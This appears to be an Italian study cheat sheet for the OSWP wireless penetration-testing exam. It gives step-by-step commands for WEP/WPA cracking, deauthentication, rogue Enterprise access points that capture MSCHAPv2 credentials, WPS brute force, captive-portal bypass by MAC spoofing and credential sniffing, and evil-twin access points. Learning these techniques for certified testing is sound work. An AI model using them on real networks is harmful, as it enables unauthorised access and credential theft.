Vai al contenuto

CHEAT SHEET COMPLETO PER ESAME OSWP (v19)

INDICE

  1. Reti WEP
  2. Reti WPA/WPA2(3)-PSK
  3. Reti WPA/WPA2-Enterprise (WPA-MGT) — due metodi (hostapd-wpe e FreeRADIUS+hostapd-mana)
  4. Attacco WPS
  5. Bypass Captive Portal (due tecniche)
  6. Evil Twin su rete aperta
  7. Connessione alle reti (tutti i tipi)
  8. Installazione strumenti
  9. Appendice errori comuni, riepilogo comandi, risorse

FASE 0: PREPARAZIONE DELL'AMBIENTE

Da rifare all'inizio di ogni scenario e ogni volta che cambi scheda di rete.

0.1 Interfacce e modalità monitor

Bash
iwconfig
iw dev   # più moderno

Warning

airmon-ng start wlan0 non rinomina sempre l'interfaccia in wlan0mon — dipende dal driver, a volte resta wlan0 in monitor mode. Verifica sempre il nome reale prima di procedere. Un "No such device" è quasi sempre questo.

Bash
sudo airmon-ng check
sudo airmon-ng check kill      # termina NetworkManager/wpa_supplicant che interferiscono
sudo airmon-ng start wlan0     # attiva monitor mode
iwconfig wlan0mon              # o il nome reale verificato sopra
Uccidere NetworkManager toglie Internet: scarica prima wordlist/tool, o riavvialo dopo con sudo systemctl start NetworkManager.

Ripristino a modalità gestita:

Bash
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager

0.2 Salvare il MAC address originale

Bash
ORIG_MAC=$(ip link show wlan0 | grep link/ether | awk '{print $2}')
echo "Il mio MAC è: $ORIG_MAC"

Note

In monitor mode l'interfaccia mostra spesso un MAC placeholder (02:00:00:00:00:00, 42:00:00:00:00:00). Il MAC fisico salvato qui serve per aireplay-ng -h.

0.3 Test di injection

Bash
sudo aireplay-ng -9 wlan0mon
Atteso: Injection is working!.

Note

Su lab virtuali (mac80211_hwsim) questo test può dare falsi "Found 0 APs" anche con injection funzionante, perché il "mezzo radio" è simulato. Verifica piuttosto con uno scan diretto (airodump-ng) e aireplay-ng -1 0.

0.4 Cambiare canale manualmente (metodo alternativo a iw dev set channel)

Bash
sudo ifconfig wlan0mon down
sudo iwconfig wlan0mon channel <N>
sudo ifconfig wlan0mon up
Equivalente a sudo iw dev wlan0mon set channel <N> usato altrove in questo documento — intercambiabili.

0.5 Checklist strumenti e wordlist pre-esame

Bash
sudo apt update
sudo apt install aircrack-ng hashcat reaver macchanger asleap tshark isc-dhcp-client hcxtools john mdk4
ls -la /usr/share/wordlists/rockyou.txt*
sudo gunzip /usr/share/wordlists/rockyou.txt.gz   # se compresso

Important

La VM d'esame potrebbe non avere Internet. Verifica prima che siano tutti presenti: aircrack-ng suite, hashcat, reaver/bully, macchanger, asleap, hostapd-wpe (o hostapd-mana), hcxdumptool, hcxpcapngtool, hcxhash2cap, tshark, dhclient, mdk4, john. Vedi Fase 8 per l'installazione da sorgente dei tool non pacchettizzati.

Verifica hashcat (ARM/Kali):

Bash
hashcat -I

Caution

No devices found/left è tipico su Kali arm64: il pacchetto pocl-opencl-icd è stato rimosso dai repo Kali e ocl-icd-libopencl1 da solo non basta. Non contarci come piano principale: usa aircrack-ng per WEP/WPA-PSK e asleap per l'Enterprise, entrambi CPU-native.

Verifica dhclient:

Bash
which dhclient
sudo apt install isc-dhcp-client -y   # se assente

Note

Le Kali recenti non includono più dhclient di default — serve nella Fase 7 per le connessioni via wpa_supplicant, dove NetworkManager va tenuto spento.


FASE 1: RICOGNIZIONE

1.1 Scansione completa

Bash
sudo airodump-ng --band abg --manufacturer --wps wlan0mon
Opzioni utili: --band abg, --manufacturer, --wps, -c <canale>, --bssid <BSSID>.

1.2 Colonne principali

Colonna Significato
BSSID MAC dell'AP
PWR Potenza segnale (vicino a 0 = forte)
Beacons Beacon ricevuti
#Data Pacchetti dati
CH Canale
MB Velocità massima
ENC Cifratura (WEP/WPA/WPA2/OPN)
CIPHER TKIP/CCMP
AUTH PSK/MGT/OPN/SAE
WPS WPS abilitato (0.0 = assente/sconosciuto)
ESSID Nome rete

Note

Se AUTH mostra vuoto/PSK senza versione esplicita accanto, è probabile WPA1 (non WPA2) — annotalo, cambia la stringa proto nel file di connessione (Fase 7).

1.3 Smistamento per scenario

  • WEP (ENC: WEP) → priorità alta, facile da craccare
  • WPA/WPA2/WPA3 PSK/SAE (AUTH: PSK/SAE) → handshake o PMKID
  • WPA/WPA2 MGT (AUTH: MGT) → Enterprise, Rogue AP
  • WPS (WPS: Yes in wash) → possibile brute-force
  • Reti aperte (ENC: OPN) → Evil Twin o Captive Portal (vedi 2.5)

Important

PSK e MGT mostrano entrambi ENC: WPA2 CCMP — la differenza sta solo nella colonna AUTH. Confonderli ti manda a inseguire un handshake su una rete Enterprise (dove non esiste) o viceversa. Controllala sempre prima di iniziare.

Tip

Non tutte le reti in scansione sono target reali — alcune sono solo rumore di fondo senza nessun client che si connette mai. Sintomo: #Data fisso a 0 e STATION sempre vuota anche dopo 10+ minuti. Verifica velocemente prima di investire tempo:

Bash
sudo airodump-ng -c <CH> --bssid <BSSID> wlan0mon
Se dopo 1-2 minuti non si muove nulla, valuta altro target — ma occhio: una rete "silenziosa" può comunque avere una flag legittima dietro, verificalo se possibile prima di scartarla.

1.4 SSID nascosti

Rivelare l'ESSID da un BSSID noto (basta attendere un probe/associazione, oppure forzarla):

Bash
sudo airodump-ng --band abg --bssid <BSSID> wlan0mon

Bruteforce dell'ESSID nascosto con mdk4 (se non compare passivamente):

Bash
mdk4 wlan0mon p -t <BSSID> -f <wordlist>

1.5 Cattura mirata (bloccando il canale)

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w <capture_file> wlan0mon
Blocca il canale per evitare che l'hopping automatico faccia perdere pacchetti cruciali (handshake, IV).

Warning

Se hai un airodump-ng in hopping e un aireplay-ng mirato sulla stessa interfaccia in parallelo, si contendono il canale — loop di "wlan0mon is on channel X, but the AP uses channel Y". Usa interfacce diverse o ferma l'hopping mentre attacchi.

Caution

aireplay-ng non cambia mai canale da solo — resta bloccato su quello impostato l'ultima volta su quell'interfaccia. Riusando la stessa interfaccia (es. wlan1mon) su target a canali diversi, è facilissimo lanciare un deauth che silenziosamente non raggiunge mai l'AP. Prima di ogni deauth:

Bash
sudo iw dev wlan1mon set channel <CH>
oppure lancia per un paio di secondi airodump-ng -c <CH> --bssid <BSSID> wlan1mon sulla stessa interfaccia subito prima — il canale viene "ereditato" anche da aireplay-ng. Controlla sempre che "on channel X" corrisponda al target.


FASE 2: ATTACCHI SPECIFICI

2.1 RETI WEP

Servono ~40.000 IV per craccare la chiave.

STEP 1 — Identificare la rete

Bash
sudo airodump-ng --encrypt WEP wlan0mon

STEP 2 — Avviare la cattura IV

Bash
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w wep_capture wlan0mon

STEP 3 — Generare traffico

Opzione A — ARP Replay (con client/traffico esistente, consigliata):

Bash
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon
# forma equivalente alternativa:
sudo aireplay-ng --arpreplay -b <BSSID> -h $ORIG_MAC wlan0mon

Opzione B — Fake Authentication (nessun client associato, va fatta prima dell'ARP replay):

Bash
sudo aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h $ORIG_MAC wlan0mon
sudo aireplay-ng -3 -b <BSSID> -h $ORIG_MAC wlan0mon

Note

Il MAC usato in -h può essere spoofato a piacere (es. 02:00:00:00:00:00), non deve essere necessariamente il tuo reale.

Opzione C — Nessun traffico da rilanciare, nessun client (ChopChop/Fragmentation):

Bash
# ChopChop
sudo aireplay-ng -4 -b <BSSID> -h $ORIG_MAC wlan0mon
sudo packetforge-ng -0 -a <BSSID> -h $ORIG_MAC -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-<data>.xor -w arp-request
sudo aireplay-ng -2 -r arp-request wlan0mon

# Fragmentation (alternativa, spesso più veloce)
sudo aireplay-ng -5 -b <BSSID> -h $ORIG_MAC wlan0mon
# poi packetforge-ng come sopra sul .xor generato
Questi due metodi non recuperano la chiave, ma un keystream per forgiare pacchetti ARP e far salire #Data.

STEP 4 — Monitorare la raccolta IV fino a ~40.000 in #Data.

STEP 5 — Craccare

Bash
sudo aircrack-ng wep_capture-01.cap
Nessuna dipendenza da hashcat/OpenCL.


2.2 RETI WPA/WPA2(3)-PSK

STEP 1 — Ricognizione + cattura sul target

Bash
sudo airodump-ng --band abg wlan0mon            # canale/BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w wpa_capture wlan0mon

STEP 2 — Deauth

Bash
sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon   # mirato, consigliato
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon                    # broadcast, rumoroso

STEP 3 — Verificare l'handshake: cerca WPA handshake: <BSSID> in alto a destra in airodump-ng. Compare anche EAPOL nella colonna Notes della tabella STATION. Se non appare, ripeti il deauth (-0 10) o cambia client.

STEP 3bis — Alternativa clientless: attacco PMKID

Utile se non c'è nessun client da deautenticare:

Bash
sudo iw dev wlan0mon set channel <CH>
sudo hcxdumptool -i wlan0mon -w capture.pcapng
# CTRL+C dopo qualche minuto
hcxpcapngtool -o hash_pmkid.hc22000 capture.pcapng

Warning

hcxdumptool non fa channel hopping automatico — fissa il canale prima. La sintassi del flag di output è cambiata più volte tra versioni (-o, --pcapngout=, ora di nuovo -w): se ottieni unrecognized option, verifica con hcxdumptool -h | grep -E "^\s*-w|^\s*-o". --enable_status è stato rimosso: lo status live compare ora automaticamente.

Caution

aircrack-ng non legge il formato .hc22000 (proprietario di hashcat). Serve riconvertirlo in .cap con hcxhash2cap:

Bash
hcxhash2cap --pmkid-eapol=hash_pmkid.hc22000 -c converted.cap
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt converted.cap
Se hcxhash2cap manca: sudo apt install hcxtools -y. Se hai un hashcat funzionante, salta la conversione e usa -m 22000 direttamente (STEP 5bis sotto).

Tip

Nel summary di hcxpcapngtool il campo weak candidate...: 12345678 è un segnaposto sempre presente, non una password recuperata — ignoralo. L'attacco PMKID clientless funziona solo se l'AP include il PMKID nella risposta di associazione (caching PMKSA abilitato): non tutti gli AP lo fanno. Se dopo diversi minuti hai solo EAPOL M1 senza M2/M3/M4 e "no hashes written", serve un handshake completo con client reale.

STEP 4 — Cracking primario: aircrack-ng (CPU-native, nessuna dipendenza OpenCL — obbligatorio su Kali arm64)

Bash
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa_capture-01.cap
# oppure, con wordlist ridotta per velocità in fase di test:
sudo aircrack-ng -w /root/rockyou-top100000.txt wpa_capture-01.cap

STEP 4bis/5bis — Alternativa con GPU/OpenCL funzionante

Bash
hcxpcapngtool -o hash_handshake.hc22000 wpa_capture-01.cap
sudo hashcat -m 22000 hash_handshake.hc22000 /usr/share/wordlists/rockyou.txt
sudo hashcat -m 22000 hash_handshake.hc22000 --show

STEP 6 — Connessione e proof: vedi Fase 7 e Fase 3.2 finale.


2.3 RETI WPA/WPA2-ENTERPRISE (WPA-MGT)

Richiede un Rogue Access Point per intercettare le credenziali EAP. Lo scenario più delicato del cheat sheet. Due metodi equivalenti nell'obiettivo, diversi nell'esecuzione: Metodo A (hostapd-wpe), più semplice e quello storicamente usato nel corso PEN-210; Metodo B (FreeRADIUS + hostapd-mana), più elaborato, utile come alternativa o quando serve clonare un certificato reale per tentare di aggirare client che validano la CA.

STEP 1 — Identificare il target: cerca AUTH: MGT.

Important

Non tutte le reti MGT sono attaccabili con un Rogue AP semplice. Il metodo EAP interno determina tutto: - MSCHAPv2 / GTC / MD5 → il downgrade forzato da hostapd-wpe/hostapd-mana funziona, ottieni credenziali in chiaro o challenge/response. I metodi sotto coprono questo caso. - EAP-TLS puro, o PEAP/TTLS con verifica del certificato server attiva → il Rogue AP con certificato self-signed generico non funziona per lo stesso identico motivo (tunnel TLS esterno con verifica cert). Non conta il numero di metodo EAP mostrato, conta se il client valida il certificato. Il Metodo B sotto (clonazione dei campi del certificato reale) è un ultimo tentativo per questi casi, ma non è garantito funzioni se il client fa pinning del certificato/chiave pubblica (non solo dei campi anagrafici).

Riconoscilo dal log di hostapd-wpe/hostapd-mana:

Text Only
STA ... Supplicant used different EAP type: 13 (TLS)   ← o 25 (PEAP), stesso esito
SSL: SSL3 alert: read (remote end reported an error):fatal:unknown CA   ← segnale decisivo
Se vedi unknown CA, il Rogue AP funziona correttamente — è quel target specifico a essere fuori portata per un semplice self-signed. Prova il Metodo B, oppure cambia target (spesso in un lab/esame coesistono reti Enterprise con configurazioni diverse apposta per testare questa distinzione).

Tip

Se esistono due AP con lo stesso ESSID Enterprise (BSSID diversi, visto spesso nei lab), il client potrebbe agganciarsi a uno qualsiasi dei due dopo il deauth — deautentica entrambi i BSSID, non solo quello che hai osservato per primo.


METODO A — hostapd-wpe (consigliato, più rapido)

Bash
sudo apt update
sudo apt install hostapd-wpe asleap

STEP 2 — Configurazione completa

Caution

L'interfaccia va usata in modalità gestita, mai in monitor mode. hostapd-wpe con driver nl80211 gestisce da solo il passaggio a modalità AP — puntarlo su wlan0mon produce "Invalid HW-addr family" o "key not allowed" / "Failed to set beacon parameters". Prima di scrivere il conf:

Bash
sudo airmon-ng stop wlan0mon
sudo airmon-ng check kill
sudo systemctl stop NetworkManager
iwconfig   # verifica il nome reale, probabilmente tornato "wlan0"

Bash
nano hostapd-wpe.conf
Text Only
interface=wlan0
driver=nl80211
ssid=CorporateWiFi
channel=6
hw_mode=g

wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1

eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever2changeme

Caution

ssid=CorporateWiFi è solo un ESEMPIO — sostituiscilo sempre con l'ESSID esatto del target. Errore subdolo: hostapd-wpe parte senza errori, l'AP è visibile e sul canale giusto, ma nessun client si connette perché cerca un nome diverso. Verifica sempre dopo l'avvio:

Bash
iw dev wlan0 info | grep ssid

Caution

channel e hw_mode devono combaciare con banda e canale reali del target. L'unico indicatore affidabile della banda è il numero di canale (non il suffisso "e" nella colonna MB, che indica solo supporto QoS):

CH in airodump-ng Banda hw_mode
1–14 2.4 GHz b o g
36–165 5 GHz a
1–6 (WiGig, raro) 60 GHz ad

Per un target 5GHz canale 44: channel=44 / hw_mode=a. Se ottieni un errore di dominio regolatorio: sudo iw reg set US.

Tabella completa hw_mode:

Valore Standard Banda Frequenza Note
b 802.11b 2.4 GHz 2412–2484 MHz Solo DSSS/CCK, max 11 Mbps
g 802.11g 2.4 GHz 2412–2484 MHz OFDM. Usalo per canale 1-14
a 802.11a 5 GHz 5170–5825 MHz OFDM. Usalo per canale ≥36
ad 802.11ad (WiGig) 60 GHz 58–70 GHz Rarissimo in scenari OSWP
any — — — Da evitare, meglio essere espliciti

Note

hw_mode indica solo la banda/PHY di base. 802.11n/ac/ax si abilitano con flag aggiuntivi (ieee80211n=1, ieee80211ac=1) sopra la banda base. Per un Rogue AP, hw_mode=g/hw_mode=a da soli bastano quasi sempre.

Caution

Se hostapd-wpe fallisce con:

Text Only
OpenSSL: tls_read_pkcs12 - Failed to use PKCS#12 file error:0D0680A8:asn1 encoding routines:ASN1_CHECK_TLEN:wrong tag
i certificati preconfezionati in /etc/hostapd-wpe/certs/ sono spesso in un formato che OpenSSL 3.x non parsa più. Rigenerali:
Bash
cd /etc/hostapd-wpe/certs
sudo openssl req -x509 -newkey rsa:2048 -keyout ca.key -out ca.pem -days 3650 -nodes -subj "/CN=hostapd-wpe-CA"
sudo openssl req -newkey rsa:2048 -keyout server.key -out server.csr -nodes -subj "/CN=hostapd-wpe"
sudo openssl x509 -req -in server.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out server.pem -days 3650
Questi nuovi certificati non hanno passphrase: rimuovi private_key_passwd dal conf, altrimenti hostapd-wpe prova come fallback a leggere il file come PKCS#12 e produce lo stesso errore anche con certificati validi.
Bash
sed -i '/private_key_passwd/d' hostapd-wpe.conf

STEP 3 — Avviare il Rogue AP

Bash
sudo hostapd-wpe hostapd-wpe.conf

STEP 4 — Deauth dei client dal target legittimo

Warning

-a vuole SEMPRE il BSSID dell'AP, -c il MAC del client — facili da scambiare guardando la tabella STATION. Scambiarli produce "No such BSSID available" in loop.

Bash
sudo aireplay-ng -0 5 -a <BSSID_TARGET> -c <CLIENT_MAC> wlan0mon
Senza -c l'attacco è broadcast (deautentica tutti i client dell'AP). Usa un'interfaccia diversa da quella del Rogue AP per il deauth (quella del Rogue è occupata in modalità AP).

STEP 5 — Catturare le credenziali

Note

hostapd-wpe non scrive in /var/log/hostapd.log di default, ma in hostapd-wpe.log nella directory da cui l'hai lanciato.

Se il client supporta EAP-GTC oltre a MSCHAPv2, hostapd-wpe forza il downgrade a GTC ottenendo credenziali in chiaro direttamente nel log, senza cracking. Controlla sempre prima lì. Se il client usa solo MSCHAPv2, ottieni una tripla username:challenge:response.

Tip

Se il Rogue AP è configurato correttamente ma il client non si riassocia dopo il deauth, alcuni client si riconnettono solo periodicamente. Ripeti il deauth nel tempo:

Bash
while true; do sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan1mon; sleep 5; done
e tieni hostapd-wpe.log sotto tail -f continuo. Verifica comunque per primo il canale sull'interfaccia di attacco.

Note

Clonare anche il BSSID (non solo l'SSID) può servire per client "pinnati" su un BSSID specifico via PMKSA cache. Su lab virtuali (mac80211_hwsim) impostare lo stesso MAC su due interfacce spesso fallisce a livello driver — limite del simulatore. Nella maggior parte dei casi reali basta l'SSID identico; il BSSID cloning è un'ultima risorsa.

STEP 6 — Craccare con asleap (primario)

Bash
sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt

STEP 6bis — Hashcat (solo se hashcat -I mostra un device)

Bash
# -m 5500 = MSCHAPv2/NetNTLMv1 — NON 16800/22000 (quelli sono per WPA-PSK PMKID/handshake)
sudo hashcat -a 0 -m 5500 hash_enterprise.txt /usr/share/wordlists/rockyou.txt --force


METODO B — FreeRADIUS + hostapd-mana (alternativo, con clonazione del certificato reale)

Utile come percorso alternativo, o quando il Metodo A fallisce per unknown CA e si vuole tentare di replicare i campi anagrafici del certificato reale (funziona solo contro client che non fanno vero pinning di chiave pubblica/firma, solo controllo dei campi — non garantito).

Installazione:

Bash
sudo apt update
sudo apt install freeradius freeradius-utils libssl-dev libnl-3-dev libnl-genl-3-dev
git clone https://github.com/sensepost/hostapd-mana.git
cd hostapd-mana/hostapd
make
sudo make install

STEP 2 — Catturare l'handshake/PMKID per ottenere l'identity e il certificato reale del target (stessa procedura della 2.3 STEP base: cattura mirata + deauth):

Bash
sudo airodump-ng --band abg -c <CH> --bssid <BSSID> -w enterprise wlan0mon
sudo aireplay-ng -0 4 -a <BSSID> -c <CLIENT_MAC> wlan0mon

STEP 3 — Estrarre identity e certificato dal .cap con Wireshark: 1. Apri il .cap in Wireshark, filtro eap.code==2 → trova il pacchetto Response, Identity, espandi Extensible Authentication Protocol → campo Identity (es. CONTOSO\juan.tr). 2. Filtro tls.handshake.certificate → espandi Transport Layer Security → Certificate → tasto destro sul campo Certificate → Export Packet Bytes (o copia con CTRL+SHIFT+X) → salva come cert.der.

STEP 4 — Leggere le informazioni del certificato reale:

Bash
openssl x509 -inform der -in cert.der -text
Annota Issuer/CA (country, state, org, CN, email) e i dati del Subject/Server.

STEP 5 — Modificare i template CA/server di FreeRADIUS con quei dati esatti:

Bash
cd /etc/freeradius/3.0/certs
nano ca.cnf       # sezione [certificate_authority]: countryName, stateOrProvinceName, localityName, organizationName, emailAddress, commonName
nano server.cnf   # sezione [server]: stessi campi, lato server

STEP 6 — Rigenerare i parametri Diffie-Hellman:

Bash
rm dh
make

Note

Un errore tipo make: *** [Makefile:120: client.crt] Error 1 per mismatch di countryName tra CA e richiesta è normale e ignorabile — serve solo dh rigenerato correttamente.

STEP 7 — Creare il file utenti EAP (mana.eap_user, formato fisso):

Text Only
*       PEAP,TTLS,TLS,FAST
"t"     TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2  "pass"  [2]

STEP 8 — Configurazione del Rogue AP (network.conf):

Text Only
ssid=<ESSID_TARGET>
interface=wlan0
driver=nl80211

channel=<CH>
hw_mode=a    # o g, in base al canale — vedi tabella hw_mode sopra

ieee8021x=1
eap_server=1
eapol_key_index_workaround=0

eap_user_file=/etc/hostapd-mana/mana.eap_user

ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever

dh_file=/etc/freeradius/3.0/certs/dh

auth_algs=1
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP

mana_wpe=1
mana_credout=/tmp/hostapd.credout
mana_eapsuccess=1
mana_eaptls=1

Caution

Stessi fix critici del Metodo A si applicano qui: interfaccia in modalità gestita (non monitor), ssid/channel/hw_mode corrispondenti al target reale, verifica post-avvio.

STEP 9 — Avviare il Rogue AP:

Bash
sudo hostapd-mana network.conf

STEP 10 — Deauth (da un'interfaccia diversa, già sul canale giusto — vedi nota sui conflitti di canale in Fase 1.5):

Bash
sudo aireplay-ng -0 0 -c <CLIENT_MAC> -a <BSSID> wlan1mon

STEP 11 — Raccogliere le credenziali: il log di hostapd-mana mostra in tempo reale l'identity e, per MSCHAPv2, la riga pronta per asleap:

Text Only
MANA EAP Identity Phase 1: CONTOSO\juan.tr
MANA EAP EAP-MSCHAPV2 ASLEAP user=juan.tr | asleap -C d0:3b:8d:7b:22:00:a0:91 -R 68:09:13:ac:e8:df:36:5f:42:94:fb:97:91:05:b2:21:72:ff:b3:ce:c0:ca:26:f7
MANA EAP EAP-MSCHAPV2 HASHCAT | juan.tr::::680913ace8df365f4294fb979105b22172ffb3cec0ca26f7:d03b8d7b2200a91
Copia e incolla direttamente il comando asleap mostrato, aggiungendo -W <wordlist>:
Bash
asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt

Alternativa Hashcat (se asleap non trova la password), usando la riga HASHCAT del log direttamente come contenuto di un file hashfile:

Bash
hashcat -a 0 -m 5500 hashfile /usr/share/wordlists/rockyou.txt --force
oppure, con una wordlist ridotta per velocità di test:
Bash
hashcat -a 0 -m 5500 hashfile /root/rockyou-top100000.txt --force


2.4 ATTACCO WPS

STEP 1 — Identificare AP con WPS

Bash
sudo wash -i wlan0mon -s

STEP 2 — Reaver

Bash
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv
-K 1 = Pixie Dust (richiede pixiewps a parte, verifica con which pixiewps), -d 2, -t 5, -N, -L.

STEP 3 — Se si blocca: riprova con -K 1, o attendi 5-10 minuti di lockout.

STEP 4 — Se Reaver fallisce, Bully

Bash
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3


2.5 BYPASS DEL CAPTIVE PORTAL

Una rete ENC: OPN può nascondere due tipi di captive portal molto diversi, e non lo sai finché non ci provi:

  • Tipo A — Whitelist MAC: passa traffico reale solo ai MAC già "visti" autenticarsi. Bypass: rubi il MAC di un client autorizzato.
  • Tipo B — Login applicativo reale (form HTML): il MAC non conta, serve una credenziale valida. Bypass: sniffing passivo delle credenziali in chiaro (su OPN il traffico HTTP di qualunque client è leggibile in aria, anche senza essere associati).

STEP 0 — Diagnosi: quale dei due?

Bash
sudo airmon-ng stop wlan0mon
sudo ip link set wlan0 up
nmcli dev wifi connect <ESSID>
ip addr show wlan0
ip route | grep default    # annota l'IP del gateway
Apri http://<IP_GATEWAY>/ nel browser.

Important

Se vieni rediretto a un form con Username + Password → Tipo B, il MAC spoofing da solo NON funzionerà, salta direttamente alla Tecnica B. Se ti chiede solo di accettare termini o hai già accesso senza fare nulla → probabile whitelist MAC, prova la Tecnica A.

TECNICA A — Whitelist MAC

Bash
sudo airmon-ng start wlan0
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_capture wlan0mon
Annota dalla tabella STATION il MAC con più Frames (client verosimilmente autorizzato):
Bash
CLIENT_MAC="11:22:33:44:55:66"
sudo airmon-ng stop wlan0mon
sudo systemctl stop NetworkManager
sudo ip link set wlan0 down
sudo macchanger -m $CLIENT_MAC wlan0
sudo ip link set wlan0 up
sudo systemctl start NetworkManager
nmcli dev wifi connect <ESSID>
ip addr show wlan0
sudo dhclient wlan0   # se serve forzare il DHCP
ping <IP_GATEWAY>
curl http://<IP_GATEWAY>/proof.txt

Note

Se il client legittimo è ancora connesso, avrai un conflitto di MAC duplicati — deautenticalo prima (aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC>, richiede monitor mode). Se resti bloccato sul login nonostante il MAC corretto, è comunque Tipo B → Tecnica B. Se la rete usa 802.1X (MGT), questa tecnica non si applica (vedi 2.3).

TECNICA B — Sniffing delle credenziali in chiaro

Bash
sudo airmon-ng start wlan0
sudo airodump-ng --band abg wlan0mon   # annota BSSID e CH del target
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w captive_sniff wlan0mon
Lascialo aperto e attendi (nessuna associazione, nessun deauth necessari) — almeno 3-5 minuti prima di considerarlo "vuoto".

Bash
tshark -r captive_sniff-01.cap -Y "http.request.method == POST" -T fields -e http.file_data

Note

L'output è esadecimale, non testo — è normale, http.file_data restituisce byte grezzi. Decodifica:

Bash
echo "<stringa_hex>" | xxd -r -p
Su tutte le righe in un colpo solo:
Bash
tshark -r captive_sniff-01.cap -Y "http.request.method == POST" -T fields -e http.file_data | sort -u | while read -r hexline; do echo "$hexline" | xxd -r -p; echo; done

Usa le credenziali decodificate sul form di login nel browser. Se la flag non appare a schermo, recuperala via terminale mantenendo i cookie di sessione:

Bash
curl -c cookies.txt -d "Username=<user>&Password=<pass>&Submit=Login" http://<IP_GATEWAY>/login.php
curl -b cookies.txt http://<IP_GATEWAY>/index.php
curl -b cookies.txt http://<IP_GATEWAY>/proof.txt

Tip

Alternativa via GUI: wireshark captive_sniff-01.cap, filtro http.request.method == "POST", tasto destro su un pacchetto → Follow → HTTP Stream — decodifica automatica, senza xxd.

Riepilogo rapido

Situazione osservata Tecnica
Nessun form, solo redirect/blocco generico A — MAC spoofing
Form con Username + Password B — Sniffing credenziali
A non funziona nonostante MAC corretto Prova B
Obiettivo è "intercetta le credenziali di un utente" B, sempre

2.6 EVIL TWIN SU RETE APERTA

Bash
sudo airbase-ng -e <ESSID_TARGET> -c <CHANNEL> wlan0mon
Routing opzionale:
Bash
sudo ifconfig at0 up
sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Deauth dal target legittimo:
Bash
sudo aireplay-ng -0 5 -a <BSSID_TARGET> wlan0mon
Intercettare il traffico:
Bash
sudo tcpdump -i at0 -w evil_twin_capture.pcap
DHCP/DNS sui client connessi:
Bash
sudo apt install dnsmasq
cat > dnsmasq.conf << EOF
interface=at0
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
log-queries
log-facility=/var/log/dnsmasq.log
EOF
sudo dnsmasq -C dnsmasq.conf


FASE 7: CONNESSIONE ALLE RETI (tutti i tipi)

Prima di ogni config: assicurati che l'interfaccia sia in modalità gestita, non monitor (sudo airmon-ng stop wlan0mon).

Rete aperta:

Text Only
network={
    ssid="<ESSID>"
    key_mgmt=NONE
}
Bash
sudo ip link set wlan0 up
sudo iw dev wlan0 connect <ESSID>        # alternativa diretta senza wpa_supplicant
sudo dhclient wlan0
oppure via wpa_supplicant:
Bash
sudo wpa_supplicant -i wlan0 -c open.conf
sudo dhclient wlan0 -v   # in un altro terminale

WPA/WPA2/WPA3-PSK (CCMP):

Text Only
network={
    ssid="<ESSID>"
    psk="<PASSWORD>"
    scan_ssid=1
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
    group=CCMP
}

Note

scan_ssid=1 forza la ricerca attiva, utile anche per SSID nascosti. proto si imposta in base alla versione rilevata in scansione: WPA (v1), RSN/WPA2 (v2); per WPA3/SAE puro usa key_mgmt=SAE al posto di WPA-PSK (su reti miste WPA2/WPA3 spesso WPA-PSK resta comunque accettato in fallback).

WPA-PSK (TKIP, reti WPA1): come sopra ma proto=WPA, pairwise=TKIP, group=TKIP.

Bash
sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
sudo dhclient wlan0
ip addr show wlan0
ping 192.168.1.1

Rete WEP:

Text Only
network={
    ssid="<ESSID>"
    key_mgmt=NONE
    wep_key0=<WEP_KEY>
    wep_tx_keyidx=0
}

Note

La chiave WEP in esadecimale va in minuscolo e senza i due punti separatori (il maiuscolo funziona comunque, ma non i due punti).

Bash
sudo wpa_supplicant -i wlan0 -c wep.conf
sudo dhclient wlan0 -v
# alternativa diretta senza wpa_supplicant:
sudo iw dev wlan0 connect <ESSID> key 0:<WEP_KEY>
sudo dhclient wlan0

WPA-Enterprise:

Text Only
network={
    ssid="<ESSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="<DOMINIO\username>"
    password="<PASSWORD>"
    phase1="peaplabel=0"
    phase2="auth=MSCHAPV2"
}
Bash
sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
sudo dhclient wlan0 -v

Cambiare il MAC address (riepilogo generale, già visto negli scenari specifici):

Bash
sudo systemctl stop network-manager
sudo ip link set wlan0 down
sudo macchanger -m <NEW_MAC> wlan0
sudo ip link set wlan0 up

Tip

